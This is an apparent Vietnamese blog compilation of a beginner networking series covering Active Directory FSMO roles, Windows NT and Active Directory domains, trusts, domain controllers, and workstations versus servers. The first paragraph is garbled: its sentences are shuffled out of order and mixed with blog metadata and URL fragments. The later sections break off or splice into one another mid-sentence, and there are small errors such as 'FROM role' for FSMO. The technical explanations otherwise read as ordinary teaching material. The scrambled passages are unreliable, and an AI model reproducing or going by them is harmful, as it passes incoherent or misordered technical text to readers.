Windows sẽ hiển thị trang thuộc tính của Operations Masters. một forest có thể gồm nhiều miền. làm thế nào để cho phần còn lại của forest biết được có sự thay đổi. Vấn đề là phần còn lại của forest không biết đến sự thay đổi này. Đây chính là công việc của Infrastructure Master. Khi bạn tạo. nếu bạn đã đặt lại tên cho một tài khoản người dùng thì tài khoản người dùng vẫn sẽ xuất hiện với tên cũ khi được xem từ các miền khác trong forest. Kết luận .

Bạn có thể nhớ lại là.com/portal/index. Trước đây. PDC lưu trữ bản copy chính của cơ sở dữ liệu. nếu Domain Controller không hoạt động. nhưng luôn có một Domain Controller được xem là quan trọng nhất. chúng ta đã được biết đến Active Directory. Người ta gọi đó là Primary Domain Controller (máy điều khiển miền chính) hay PDC. Có nhiều Domain Controller cũng cho phép miền liên quan đến hoạt động tải được chia sẻ bởi đa máy tính. chúng ta có nói về các miền bên trong Windows NT. Với cấu trúc cây phân tầng tự nhiên của Active Directory. Domain Controller khác có thể thay thế nó. chúng tôi sẽ tiếp tục giới thiệu cho các bạn về cấu trúc của Active Directory và việc định tên giản đồ được sử dụng bởi các đối tượng Active Directory. Mỗi lần thực hiện thay đổi . một Domain Controller bao gồm một cơ sở dữ liệu chứa tất cả thông tin tài khoản người dùng bên trong miền (tất nhiên còn nhiều thứ khác).php? option=com_content&task=view&id=378&Itemid=113 Được đăng bởi haodalat tại 7:49 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. tránh đẩy gánh nặng lên toàn bộ một server đơn. với một rừng (forest) các cây miền (domain tree).trithuccongdong. sẽ không có bất kỳ ai được phép đăng nhập vào mạng. trong đó tên của mỗi miền cũng đồng thời là vị trí của chúng trong forest. Trong phần tiếp theo của loạt bài viết này. Cũng giống như Active Directory. các role FSMO đóng vai trò quan trọng trong chức năng của Active Directory. Windows NT domain hỗ trợ sử dụng đa Domain Controller. Mặc dù Windows NT hỗ trợ đa Domain Controller trong một miền. Microsoft nhận thức sớm được điều này nên thiết kế Windows cho phép sử dụng đa Domain Controller cùng một lúc. hay BDC. bạn có thể dễ dàng đoán biết được các miền ở gần phía trên là những miền quan trọng nhất (đôi khi có các Domain Controller bên trong các miền đó). Xin nhớ rằng Domain Controller chịu trách nhiệm thẩm định thông tin đăng nhập của người dùng. NETWORK Kiến thức cơ bản về mạng: Phần 7 . Nếu một Domain Controller bị hỏng. Do đó. Các Domain Controller khác trong miền Windows NT được gọi là Backup Domain Controller (Domain Controller dự trữ). giúp hoạt động thẩm định đăng nhập mạng không bị gián đoạn. Trong bài này chúng ta sẽ thảo luận quy tắc các Domain Controller riêng lẻ phải tuân thủ bên trong Active Directory forest. Trong Windows NT. Cơ sở dữ liệu này được gọi là Security Accounts Manager. Theo Networking http://www.Như những gì bạn có thể thấy. hay SAM.Giới thiệu về FSMO Role Sự cần thiết của các FSMO role Trong các phần trước của loạt bài này.

Ở đây không còn khái niệm PDC hay BDC. Về cơ bản. Nếu một người quản trị cần thực hiện thay đổi trên cơ sở dữ liệu Active Directory. là miền mà các bản update có thể được sử dụng. cho phép Domain Controller hoạt động theo đúng chức năng của nó trong miền. Do đó. sử dụng FSMO có nghĩa là các miền Active Directory hỗ trợ đầy đủ mô hình sao chép đa chủ. Trong thời gian chờ server mới được đưa đến. Domain Controller đầu tiên sẽ mang trực tuyến đến cho từng miền sở hữu 3 role FSMO mức domain. Sau đó PDC sao chép thay đổi ra tất cả các BDC khác trong miền. Windows cung cấp cho chúng ta giải pháp chỉ định một số Domain Controller thực hiện vai trò Flexible Single Master Operation (FSMO). Mô hình sao chép đa chủ được đánh giá là ý tưởng không tồi. và sau đó được sao chép tới các Domain Controller còn lại. Có ba vai trò FROM khác nhau được gán ở mức domain. PDC chỉ là Domain Controller trong miền Windows NT. Chẳng hạn.trên cơ sở dữ liệu của Domain Controller. miền được khôi phục sử dụng mô hình đơn chủ. còn hơn là giải quyết chúng sau khi đã xảy ra. sẽ có cách thức điều khiển từ xa một BDC tới PDC. Nhưng trong một số trường hợp. Domain Controller đầu tiên trong rừng sở hữu 5 role. Nó mở ra cánh cửa mới cho các thay đổi mâu thuẫn trái chiều. Active Directory sử dụng mô hình sao chép đa chủ. Một trường hợp trước đây tôi từng chứng kiến. ngoại trừ trong một số trường hợp riêng nhất định. Nếu PDC bị lỗi. quản trị viên cài đặt Windows trên một PC cũ . Các miền Active Directory hơi khác một chút. thay đổi này sẽ được ghi vào PDC. Mặc định. thay đổi này được áp dụng cho bất kỳ Domain Controller nào trong miền. Nhưng thông tin cho bạn biết Domain Controller nào sở hữu các role nào cũng hết sức quan trọng. Trong các trường hợp này. tức là mọi Domain Controller trong miền đều có thể ghi. nhưng chỉ với vai trò PDC. Lý do quan trọng để biết Domain Controller nào nắm giữ các role nào là bởi thiết bị phần cứng sau này sẽ bị lão hoá và cuối cùng cũng buộc phải loại bỏ. và hai vai trò bổ sung gán ở mức forest. Theo nghĩa thông thường. Khi các domain bổ sung được tạo. Các FSMO role được đặt ở đâu? Hầu hết các role (vai trò) FSMO đều chỉ chú trọng đến bản thân chúng. một quản trị viên mạng chuẩn bị triển khai mạng Active Directory cho công ty của anh ta. Active Directory dành quyền ưu tiên cho các thay đổi mới nhất. chuyện gì sẽ xảy ra nếu hai quản trị viên khác nhau áp dụng các thay đổi mâu thuẫn cho hai Domain Controller rải rác ở hai vị trí trong cùng một thời điểm? Thông thường. Microsoft đưa ra gợi ý là tốt hơn hết bạn nên ngăn ngừa xung đột từ khi chúng chớm xuất hiện hoặc chưa xuất hiện. phương pháp này không thể giải quyết được xung đột nghiêm trọng.

Anh ta ngưng sử dụng server này. Relative Identifier Master: chịu trách nhiệm đảm bảo cho tất cả đối tượng Active Directory trong một miền đều được nhận mã số nhân dạng bảo mật duy nhất. giúp bạn hình dung xem chúng là gì. chúng ta sẽ tiếp tục thảo luận về role FSMO . Domain Naming Master: quản lý danh sách các miền trong rừng.để thử nghiệm một số chức năng quản lý Active Directory khác nhau. quản trị viên cấu hình chúng với vai trò Domain Controller trong miền đã được tạo thay vì tạo một rừng mới. Dưới đây là bản mô tả tóm tắt chức năng của các role này: Schema Master: quản lý bản sao của cơ sở dữ liệu Active Directory. Như đã nói ở trên. Trong phần tiếp theo của loạt bài này. anh ta có thể tránh được tất cả vấn đề đang diễn ra. Primary Domain Controller Emulator: hoạt động như một Primary Domain Controller trong các miền có Domain Controller chạy Windows NT. Nếu quản trị viên nhận ra rằng máy mà anh ta loại bỏ khỏi miền đang nắm giữ domain và các role FSMO của forest. có ba role mức domain và hai role mức forest. Các role mức rừng gồm Schema Master và Domain Naming master. Tất nhiên. Cuối cùng các server mới đến. Nhưng thiếu kinh nghiệm hơn là anh ta format lại ổ cứng của máy. Kết luận Hy vọng đến giờ bạn đã có thể hiểu được tầm quan trọng của các role FSMO cho dù cho biết các nguyên tắc hoạt động thực sự của chúng là gì. bạn cần nắm giữ lại cá role FSMO từ server chết để mạng có thể phục hồi lại các hoạt động bình thường. chúng là gì? Chúng ta sẽ thảo luận chức năng cụ thể của các FROM role này trong phần sau của loạt bài này. cũng chưa phải là vấn đề. Các role mức miền bao gồm: Relative identifier. Trong trường hợp này. Primary Domain Controller Emulator và Infrastructure Master. FSMO Role. Infrastructure Master: Chịu trách nhiệm cập nhật thông tin nhân dạng bảo mật của một đối tượng và phân biệt tên trong tham chiếu chéo đối tượng miền. Ở đây tôi chỉ muốn lướt qua khái niệm cơ bản. Vô số vấn đề đột nhiên diễn ra liên tục trên Active Directory. như thế tức là chiếc PC cũ nắm giữ các role FSMO. Mọi thứ hoạt động tốt cho đến khi quản trị viên quyết định loại bỏ PC cũ khỏi mạng.

nếu một công ty có chi nhánh ở một vài thành phố khác nhau. tức là một vùng mạng được quan tâm nhất định) và domain controller (bộ quản lý miền). Trong một số bài trước của loạt bài này các bạn đã được giới thiệu một số khái niệm về domain (miền. Bạn có thể hình dung hoạt động của trust cũng giống như công việc bảo vệ an ninh ở sân bay vậy.Windows Domain Thảo luận chi tiết và phân tích kỹ lưỡng về Windows domain. Trường hợp phổ biến khác là khi một công ty mua lại công ty khác. thường sở hữu tất cả tài khoản người dùng của toàn bộ công ty. Khi đó mỗi chi nhánh cần sẽ cần phải có một domain riêng. Domain trust cũng hoạt động theo cách như vậy. nơi bạn sinh sống. Microsoft đã tạo các trusts hỗ trợ cho việc truy cập dễ dàng hơn. Chúng tôi cũng sẽ chỉ cho bạn cách xác định server nào sở hữu những role nào. Tại Mỹ. Nhiều khi người dùng ở miền này cần truy cập tài nguyên trên miền khác.com/portal/index. Tất nhiên hai công ty thường có hai domain khác nhau. Vào thời kỳ đó. Có một số điều đã quen và cũng có một số điểm mới khác. Nhưng họ tin chính quyền bang Nam Carolina. Nhưng đôi khi domain đơn riêng rẽ không mang tính thiết thực. domain bây giờ không còn lạ lẫm gì với các bạn. Chẳng hạn. Theo Networking http://www. Tiếp tục với những kiến thức cơ sở nhất.php? option=com_content&task=view&id=377&Itemid=113 Được đăng bởi haodalat tại 6:41 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. Do đó bạn có thể trình bằng lái xe Nam Carolina và nhân viên an ninh sân bay sẽ cho phép bạn lên máy bay mặc dù họ không cần tin cá nhân bạn là ai. Như đã giải thích trong phần 5. Giả sử bạn là người quản trị .chi tiết hơn nhằm giúp bạn hiểu thực sự chúng làm gì. Nhân viên an ninh tại sân bay không biết bạn là ai và chắc chắn là không tin bạn. Microsoft đưa ra khái niệm domain đầu tiên trong Windows NT Server. Khi sát nhập lại thành một. Giả sử bạn dự định bay tới một nơi nào đó trong địa phận nước Mỹ. Đưa ra giải pháp cho vấn đề này. hôm nay chúng tôi giới thiệu với bạn đọc một khái niệm khác: Windows domain. chẳng nhẽ lại phải tiếp tục duy trì hai domain riêng như vậy. xác nhận nhân thân và cấp bằng lái xe cho bạn. gây lãng phí và rất tốn kém. NETWORK Kiến thức cơ bản về mạng: Phần 6 . hành khách thường phải xuất trình bằng lái xe cho nhân viên an ninh sân bay trước khi lên các chuyến bay nội địa. mỗi domain là một vùng riêng biệt.trithuccongdong. Chúng ta hãy cùng xem chúng là cái gì. Trường hợp này không phải hiếm gặp. Một quản trị viên phải hoàn toàn điều khiển domain và dữ liệu bên trong nó.

Ở phần đầu của bài này chúng ta có nói rằng trong Windows NT. Foreign domain được gọi là domain "được uỷ thác".. Các khái niệm đó cho đến nay vẫn đúng một phần. Chắc chắn Active Directory sẽ quay trở lại sớm trong Longhorn Server. Nếu tin tưởng quản trị viên của domain bạn muốn có mối liên hệ. Một forest có thể chứa nhiều nhánh (tree) domain. Từng domain hoàn toàn độc lập với nhau. Thiết lập quan hệ uỷ thác tới foreign domain không cung cấp cho người dùng trong domain đó quyền truy cập vào bất cứ tài nguyên nào trong miền của bạn. Mỗi thành viên trong cây gia đình có một số mối quan hệ với thành viên ở trên và bên dưới.một domain có chứa tài nguyên mà người dùng ở domain khác cần truy cập. Nếu bạn không phải là quản trị viên trong foreign domain thì bạn không có quyền điều khiển ai là người được cấp tài khoản người dùng trong domain đó. kỵ. Chắc bạn vẫn còn nhớ Active Domain được giới thiệu đầu tiên trong Windows 2000 và hiện nay vẫn còn được dùng trong Windows Server 2003. Một trong những điểm khác nhau chính giữa domain kiểu Windows NT và domain Active Directory là chúng không còn duy trì tình trạng hoàn toàn riêng rẽ nữa. Domain tree cũng tương tự như vậy. tự chứa các nội dung bên trong và các uỷ thác được tạo ra theo kiểu cho phép người dùng ở domain này truy cập tài nguyên trong domain khác. Bạn hãy nhớ lại. Một cây gia đình gồm có: cụ. Bạn vẫn phải gán quyền cho người dùng như đối với người dùng trong domain riêng của mình.. Các miền Active Directory dùng tên theo kiểu DNS. mỗi domain là một môi trường riêng rẽ. Còn trong môi trường Active Directory. không có cấu trúc mang tính tổ chức cho các domain. tương tự như tên dùng cho website. cha mẹ rồi đến con cái. Điều này hoàn toàn đúng ngay cả khi các quan hệ uỷ thác được thiết lập. DNS là tên viết tắt của Domain Name Server (Máy chủ tên miền). Bạn có thể hình dung domain tree cũng giống như cây gia đình (hay còn gọi là sơ đồ phả hệ). ông bà. Trong bài trước tôi đã nhấn mạnh rằng domain controller cung cấp dịch vụ thẩm định chứ không phải là dịch vụ cấp phép. cấu trúc có tổ chức chính được biết đến là forest (kiểu cấu trúc rừng). nhưng mô hình domain thì thay đổi một cách đáng kinh ngạc khi Microsoft tạo ra Active Directory. Một DNS server là thành phần bắt buộc cho bất kỳ triển khai Active Directory nào. . phiên bản hệ điều hành server mới nhất sắp ra mắt của Microsoft. Kỹ thuật giống như vậy cũng được dùng nội bộ trong môi trường Active Directory. bạn có thể thiết lập một trust (có thể hiểu là một uỷ thác) để domain của bạn "uỷ thác" các thành viên của mình trở thành thành viên của domain kia. Trong Windows NT. trong phần 3 của loạt bài này tôi đã giải thích các server DNS xử lý đường dẫn URL cho trình duyệt Web như thế nào. Bạn có thể nói vị trí của một domain bên trong cây bằng cách nhìn vào tên nó.

Miền production. chúng ta hãy cùng xem quá trình thiết lập một mạng riêng ra sao. Hơn nữa.com mới thực sự là domain mức đầu bảng. giả sử một công ty có năm văn phòng ở năm thành phố khác nhau. Còn quản trị viên forest cuối cùng sẽ duy trì hoạt động điều khiển toàn bộ domain trong forest.com chẳng hạn.com được coi là domain mức đầu. Như trước đã đề cập. Domain chính trong mạng tôi lấy ví dụ có tên production. mỗi cây cho một thành phố.production. Thậm chí còn có thể tạo một domain "cháu" như widgets. chỉ cần nhìn vào số khoảng cách trong tên của miền.com. Tôi không thực sự sở hữu tên miền Internet production.production.com và test. Ưu điểm của kiểu cấu trúc này là tất cả domain đều nằm trong một forest chung.com bao gồm tất cả server trong quá trình thử nghiệm với một số kỹ thuật khác nhau. Mặc dù có một số điểm khác nhau không quan trọng lắm. làm cho nó có ý nghĩa nhất với khả năng quản lý trong tương lai. Ví dụ.com. nó sẽ không giữ vị trí này nữa mà chỉ được xem là domain con của . Điều này có nghĩa là hoạt động quản trị điều khiển từng domain riêng hay các domain tree được phân phối cho từng quản trị viên ở mỗi thành phố khác nhau.com. các mối quan hệ uỷ thác được đơn giản hoá rất hiệu quả. Khi đó .sales.Để biết hoạt động đặt tên miền diễn ra như thế nào.com.com.com. nhưng nguyên tắc cơ bản giống như vậy vẫn được giữ nguyên. Bạn không bị giới hạn tạo các single domain tree trong forest này. một forest Active Directory có thể chứa một số domain tree. Bạn có thể dễ dàng nói vị trí của một domain bên trong domain tree. Lúc đó mỗi chi nhánh trên một thành phố sẽ cần một quản trị viên. Công ty có thể dễ dàng tạo một rừng Active Directory gồm năm cây domain. nhưng điều đó không thành vấn đề vì miền này hoàn toàn riêng tư và chỉ có thể truy cập được từ bên trong mạng riêng của tôi. Domain này là mail server và một số file server. Domain test. Tôi có thể dễ dàng tạo một domain con của production. Kết luận Trong bài này chúng ta đã nói về cấu trúc có tổ chức được dùng trong việc tạo các miền Active Directory.com bằng cách tạo tên miền khác trong production. Trong phần tiếp theo của loạt bài này chúng tôi sẽ giới thiệu với bạn các thức hoạt động truyền thông mạng làm việc . Nếu đây là miền Internet. Điểm đáng chú ý là khả năng tạo nhiều cây domain. Và quản trị viên đó hoàn toàn tự do tạo các domain con cho domain tree của họ nếu thấy cần thiết. Còn production. Mọi domain trong forest thiết lập các uỷ thác tự động tới domain khác. Mạng riêng của tôi dùng hai domain tree: production. cho phép bạn phân tách được mạng của mình.com domain chứa các server thực sự dùng trong hoạt động kinh doanh. Và nó hoàn toàn có thể thiết lập các trust này với forest hoặc domain mở rộng. ví dụ sales.

Windows XP thậm chí còn cho phép bạn tạo một số tài khoản bổ sung nếu thấy cần thiết. Nếu một tài khoản là có chức năng bảo mật chính trong mạng. Vậy tại sao domain controller lại rất quan trọng? Trong mạng. Tài khoản người dùng cục bộ chỉ nằm trên các máy trạm riêng rẽ.com/portal/index. quản trị viên sẽ phải di chuyển vật lý tới máy tính có tài khoản đó bất kỳ khi nào phải thực hiện thay đổi quyền hạn cho tài khoản. Một domain là tập hợp các tài khoản người dùng và tài khoản máy tính được nhóm lại với nhau để quản lý một cách tập trung. duy trì máy trạm. nhưng sẽ trở nên cực kỳ nặng nề với ở mạng lớn hay khi cần áp dụng thay đổi rộng cho tất cả mọi tài khoản. NETWORK Kiến thức cơ bản về mạng: Phần 5 . Và công việc quản lý là dành cho domain controller (bộ điều khiển miền) nhằm giúp việc khai thác tài nguyên trở nên dễ dàng hơn.trong mội trường Active Directory như thế nào. Nếu máy trạm có chức năng như một hệ thống độc lập hoặc là một phần của mạng ngang hàng thì tài khoản người dùng mức máy trạm (được gọi là tài khoản người dùng cục bộ) không thể điều khiển truy cập tài nguyên mạng. trong bài này bạn sẽ được biết sâu hơn domain controller là gì và lựa chọn chúng ra sao cho hợp với cơ sở hạ tầng mạng của bạn. bất kỳ máy trạm nào đang chạy hệ điều hành Windows XP cũng có một nhóm tài khoản người dùng tạo sẵn nào đó. Vấn đề này không gây ra tác động gì lớn trong mạng nhỏ. Chúng chỉ được dùng để điều chỉnh truy cập máy cục bộ và hoạt động như với chức năng đảm bảo cho quản trị viên có thể thực hiện công việc bảo dưỡng. Một lý do khác nữa là không ai muốn phải chuyển tài khoản người dùng từ . ngay trong phần 4 chúng ta đã nói một chút về domain controller.php? option=com_content&task=view&id=376&Itemid=113 Được đăng bởi haodalat tại 6:34 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. Theo Networking http://www. Chắc hẳn các bạn còn nhớ. Lý do vì sao tài khoản người dùng cục bộ trên một máy trạm nhất định không được phép điều khiển truy cập tài nguyên nằm ngoài máy trạm đó là nó tăng thêm gánh nặng quản lý rất lớn. Một trong những khái niệm quan trọng nhất của mạng Windows là domain (tức miền hay vùng). không cho phép người dùng cuối khả năng can thiệp vào các thiết lập trên máy trạm.Domain Controller Domain controller là gì và lựa chọn thế nào cho hợp với cơ sở hạ tầng mạng của bạn? Trong những bài trước chúng ta đã nói tới vai trò của các máy tính khác nhau trên mạng.trithuccongdong. Còn bây giờ.

về mặt nguyên lý. Xét trên một số khía cạnh. ý tưởng này là đúng. Windows cũng không cho phép. khi một người dùng nào đó muốn truy cập tài nguyên nằm trên một máy chủ (server). nhưng còn có nhiều điều phải lưu ý hơn thế. Khi công ty lớn mạnh hơn và bổ sung thêm nhiều máy chủ mới vào . Thậm chí nếu bạn muốn triển khai kiểu bảo mật này. Nhưng nảy sinh vấn đề: mỗi máy chủ có tập hợp tài khoản người dùng độc lập. sử dụng mạng với các máy chủ chạy hệ điều hành Novell NetWare. các đối tượng liên quan đến bảo mật. Có nghĩa là mật khẩu đã mất đi tính đồng bộ và bộ phận trợ giúp quá tải với các cuộc gọi liên quan đến lập lại mật khẩu. ai đó quyết định rằng người dùng ở công ty cần chạy một nhánh ứng dụng mới. nếu máy tính của một người dùng bị phá hoại. Một vài tháng sau. hoàn chỉnh và riêng rẽ. tài khoản người dùng mức server sẽ được dùng để điều khiển truy cập. Domain có nhiệm vụ giải quyết các vấn đề vừa nêu và một số vấn đề khác nữa. chứa tất cả mọi tài khoản người dùng và tài nguyên mạng cần truy cập. Khi thêm một máy chủ khác vào mạng. mọi việc trở nên tệ hại. Trở lại đầu những năm 1990. Do kích thước của ứng dụng và số lượng dữ liệu lớn nên ứng dụng phải được đặt trên một server chuyên dụng. Phiên bản Novell NetWare công ty đang dùng lúc đó chạy theo kiểu: tài nguyên nằm trên một server được bảo vệ bởi tài khoản người dùng cũng nằm trên server đó. mọi thứ trôi chảy. người dùng vẫn có thể đăng nhập theo cách bình thường nhưng phải tạo username và password mới. Chẳng hạn. người đó không thể đăng nhập vào máy tính khác để làm việc vì tài khoản họ tạo chỉ có tác dụng trên máy cũ. Thời gian đầu. Các máy chủ buộc người dùng phải thay đổi lại mật khẩu trong khi họ không nhận ra rằng phải đổi ở hai chỗ khác nhau.máy này sang máy khác. Nếu muốn làm được việc anh ta sẽ phải tạo tài khoản mới trên máy khác. Điều này giúp việc quản trị dễ dàng hơn và cho phép người dùng đăng nhập từ bất kỳ máy tính nào có trên mạng (trừ khi bạn giới hạn quyền truy cập người dùng). Windows networking hồi đó vẫn chưa được tạo ra và Novell NetWare là hệ điều hành server duy nhất có thể lựa chọn. Chỉ là một trong số rất nhiều lý do khiến việc sử dụng tài khoản người dùng cục bộ cho việc truy cập an toàn tài nguyên mạng là không thực tế. Với những thông tin đã được cung cấp chắc hẳn bạn sẽ nghĩ. Tài khoản người dùng cục bộ chỉ có thể dùng tài nguyên cục bộ trên một máy trạm nhất định. Chúng sẽ tập trung hoá tài khoản người dùng (hay cấu hình khác. khi tác giả bài báo này còn làm việc cho một công ty bảo hiểm lớn. Công ty chỉ có một network server. chúng ta sẽ đề cập đến trong bài sau). khi cài đặt thêm một số chương trình khác lên máy chủ mới. Nhưng khoảng một tháng sau.

công việc của domain controller (bộ điều khiển miền) là chạy dịch vụ Active Directory. Windows Server 2003 hay Longhorn Server sắp ra mắt. trong đó có tài khoản người dùng (user account). domain controller (bộ điều khiển miền) đóng vai trò rất quan trọng trong mạng Windows. Và một trong các công việc chính của bộ điều khiển tên miền là cung cấp dịch vụ thẩm định. Tài nguyên trên mạng Windows được bảo vệ bởi các Danh sách điều khiển truy cập (ACL). Thay vào đó một tài khoản đơn duy nhất được dùng để thẩm định tư cách người dùng trên toàn bộ mạng mà không cần biết có bao nhiêu máy chủ trên mạng đó. Theo Networking . khi một người dùng nào đó đăng nhập vào mạng. không bao giờ lặp nhau trong mạng Microsoft (Novell không dùng domain) nhưng chúng làm việc theo nguyên tắc cơ bản giống nhau. Cuối cùng sự việc được giải quyết khi Novell cho ra đời phiên bản 4. vấn đề ngày càng tồi tệ. Tức là. Khi Windows 2000 được phát hành.0 của NetWare. Khi người dùng cố gắng truy cập tài nguyên. Một ACL là danh sách chỉ rõ ai có quyền làm gì. Kết luận Như bạn có thể thấy. Nhưng domain controller không nói với người dùng họ có quyền truy cập tài nguyên nào. họ đưa ra nhân dạng của mình cho máy chủ chứa tài nguyên đó. Active Directory hoạt động như một nơi lưu trữ các đối tượng thư mục. Ý tưởng của nó là người dùng sẽ không phải tạo các tài khoản riêng rẽ trên từng server nữa. Nên hết sức lưu ý là domain controller cung cấp dịch vụ thẩm định (authentication) chứ không phải là dịch vụ cấp phép (authorization). sau đó tham chiếu chéo đến ACL để xem người dùng có quyền làm gì.mạng. Toàn bộ công việc chúng ta phải làm với domain là gì? Khi máy chủ Windows sử dụng Windows 2000 Server. một bộ điều khiển miền sẽ kiểm tra tính hợp lệ của username và password họ nhập vào có chính xác và khớp với dữ liệu lưu trong máy chủ hay không. Microsoft tích hợp một thành phần vẫn còn được dùng tới nay là Active Directory. Máy chủ sẽ kiểm tra để chắc chắn rằng nhân dạng người dùng này đã được thẩm định. Một điều thú vị khi tìm hiểu về domain là mặc dù mỗi domain có một giá trị duy nhất. Trong phần tiếp theo của loạt bài này chúng ta sẽ tiếp tục thêm một chút với domain controller và Active Directory. NetWare 4 giới thiệu công nghệ gọi là Directory Service (dịch vụ thư mục). Active Directory rất giống với Directory Service được mạng Novell sử dụng trước kia.

giúp chúng có thể kiểm soát được khối lượng công việc nặng nề vốn có của mình. Nội dung bài hôm nay là về sự khác nhau giữa Workstation (máy trạm) và Server (máy chủ). Bạn có thể cài đặt một hệ điều hành server lên máy tính của mình. Trước bài này. một máy tính đang hoạt động như một server thì nó không cần thiết phải chạy cả phần cứng của server. nhưng có thể truy vập và sở hữu các tài nguyên mạng. Trước đây. Chẳng hạn. Phần cứng mạng được dùng để thiết lập kết nối vật lý giữa các thiết bị. Máy tính ngang hàng hoạt động trên cả máy trạm và máy chủ. Trong thực tế.http://www. họ có thể chia sẻ nó cho công việc in ấn của toàn bộ máy trong mạng. Khái niệm máy chủ mạng (network server) thường hay bị nhầm về mặt kỹ thuật theo kiểu định nghĩa: máy chủ là bất kỳ máy tính nào sở hữu hay lưu trữ tài nguyên chia sẻ trên mạng. Các máy tính trước đây thường được tìm thấy trên mạng là peer (kiểu máy ngang hàng). Các mạng ngang hàng thường không sử dụng được trong các công ty lớn vì thiếu khả năng bảo mật cao và không thể quản lý trung tâm hoá. Ở bài này chúng ta cũng sẽ nói một chút về các máy tính được kết nối trong một mạng. mỗi người dùng có thể tạo cho các file của mình khả năng truy cập chung với nhiều người khác trên mạng. Nếu một máy nào đó có gắn máy in. Nói như thế thì ngay cả một máy tính đang chạy windows XP cũng có thể xem là máy chủ nếu nó được cấu hình chia sẻ một số tài nguyên như file và máy in. nhưng chắc hẳn bạn đã từng nghe nói đến các thuật ngữ server và workstation. hầu hết tất cả các máy chủ đếu sử dụng thiết bị phần cứng đặc biệt. trong khi giao thức TCP/IP là ngôn ngữ trọng yếu dùng để liên lạc trong mạng. NETWORK Kiến thức cơ bản về mạng: Phần 4 . mạng ngang hàng thường được tìm thấy chủ yếu trên các mạng rất nhỏ. Các thuật ngữ này thông thường được dùng để nói tới vai trò của máy tính trong mạng hơn là phần cứng máy tính.php? option=com_content&task=view&id=375&Itemid=113 Được đăng bởi haodalat tại 6:21 CH 0 nhận xét Nhãn: co ban ve Mang may tinh.com/portal/index.Workstation và Server Đây là phần tiếp theo trong loạt bài hướng dẫn cơ bản dành cho những người mới bắt quen hay tìm hiểu về mạng. Khi đó máy tính sẽ hoạt động thực sự như một server mạng. Cho dù bạn là người mới hoàn toàn. Các máy này thường sử dụng hệ điều hành ở máy trạm (như windows XP). Ví dụ. tiết kiệm được tài nguyên. Đó là lý do . Ý tưởng ở đây là nếu một công ty nhỏ thiếu tài nguyên để có được các máy chủ thực sự thì các máy trạm có thể được cấu hình để thực hiện nhiệm vụ "kép".trithuccongdong. chúng ta đã có dịp thảo luận về các thiết bị phần cứng mạng và giao thức TCP/IP.

Khi cài đặt lên member server. Khi người dùng muốn truy cập tài nguyên trên mạng Windows. Nó có trách nhiệm theo dõi và kiểm tra username. Máy chủ kiểu member server có thể được dùng như một nơi lưu trữ file (còn gọi là file server) hoặc nơi sở hữu một hay nhiều máy in mạng (còn gọi là máy in server). windows server có hai kiểu loại chính: member server (máy chủ thành viên) và domain controller (bộ điều khiển miền). Công việc của một domain controller là cung cấp tính năng bảo mật và khả năng quản lý cho mạng. Chẳng hạn. Người chịu trách nhiệm quản lý mạng được gọi là quản trị viên (administrator).vì sao các mạng ngang hàng thường chỉ được tìm thấy trong các công ty cực kỳ nhỏ hoặc người dùng gia đình sử dụng nhiều máy PC. windows Vista (thế hệ kế tiếp của windows XP) đang cố gắng thay đổi điều này. vì mạng máy tính được hình thành từ các máy chủ và máy trạm nên bản thân mạng không cần phải đảm bảo độ bảo mật cao và khả năng quản lý tập trung. Nói như thế tức là có vô số kiểu máy chủ khác nhau và một trong số đó được thiết kế chuyên dùng để cung cấp khả năng bảo mật và quản lý. password. Bạn đã quen thuộc với việc đăng nhập bằng cách nhập username và password? Trên mạng windows. Thực sự không có gì đặc biệt với member server. Domain controller (bộ điều khiển miền) thì đặc biệt hơn nhiều. Member server đơn giản chỉ là máy tính được kết nối mạng và chạy hệ điều hành windows Server. windows Vista cho phép người dùng mạng client/server tạo nhóm ngang hàng. Quá trình này được gọi là thẩm định (authentication). Thành phần mới này sẽ được tung ra thị trường với vai trò như một công cụ hợp tác. Tuy nhiên. Nếu mật khẩu người dùng cung cấp và mật khẩu lưu trữ trong domain controller khớp với nhau. Microsoft cung cấp một sản phẩm gọi là Exchange Server 2003. Chẳng hạn. Các member server cũng thường xuyên được dùng để lưu trữ chương trình ứng dụng mạng. quản trị viên sẽ dùng một tiện ích do domain controller cung cấp để tạo tài khoản và mật khẩu cho người dùng mới. Các mạng ngang hàng không phổ biến bằng mạng client/server vì chúng thiếu an toàn và khả năng quản lý tập trung. Khi người dùng mới (hoặc người nào đó muốn có tài khoản thứ hai) cố gắng đăng nhập vào mạng. họ sẽ được cấp quyền truy cập mạng. Trong đó các thành viên của nhóm sẽ được chia sẻ tài nguyên với nhau trong chế độ bảo mật an toàn mà không cần ngắt kết nối với server mạng. Domain cotroller sẽ kiểm tra tính hợp lệ bằng cách so sánh thông tin được cung cấp với bản sao chép lưu trữ trong cơ sở dữ liệu của nó. nó cho phép member server thực hiện chức năng như một mail server. đó chính là domain controller. "giấy thông hành" của họ (username và password) được gửi tới domain controller. Nên nhớ rằng server chỉ là một máy chuyên dùng để lưu trữ tài nguyên trên mạng. Trên một mạng Windows. chỉ có domain controller thực hiện các dịch vụ .

Giả sử username của tôi là QuanTri. Nó chỉ kiểm tra tính hợp lệ từ thông tin tôi cung cấp. Tất nhiên người dùng sẽ cần truy cập tài nguyên lưu trữ trên member server. Đây không phải là vấn đề gì lớn vì tài nguyên ở member server được bảo vệ bởi một tập hợp các đặc quyền liên quan đến thông tin bảo mật trên domain controller. Khi truy cập tài nguyên của một member server. Còn bây giờ. Khi bộ điều khiển miền thẩm định thông tin.php? option=com_content&task=view&id=374&Itemid=113 Được đăng bởi haodalat tại 6:13 CH 0 nhận xét Nhãn: co ban ve Mang may tinh. Theo Networking http://www. Do đó. Đây cũng là phần cuối cùng chúng tôi nói đến cách các máy tính trong một phân đoạn mạng chia sẻ vùng địa chỉ IP chung như thế nào.DNS Server Đây là phần tiếp theo của loạt bài Kiến thức cơ bản dành cho những người mới bắt đầu làm quen và tìm hiểu về mạng máy tính.thẩm định. nó cần đến sự trợ giúp của router. Như chúng ta đã biết. NETWORK Kiến thức cơ bản về mạng: Phần 3 . Chúng ta sẽ tiếp tục thảo luận về thẩm định (authentication) và truy cập tài nguyên (resource access) chi tiết hơn trong loạt bài sau. nhưng nó tin domain controller. chắc hẳn bạn . Trong phần tiếp của loạt bài này chúng ta sẽ thảo luận về domain controller chi tiết hơn với vai trò của domain controller trong Active Directory. Tôi nhập username và password vào. nó không cung cấp cho tôi quyền truy cập bất kỳ tài nguyên nào. chúng sẽ được 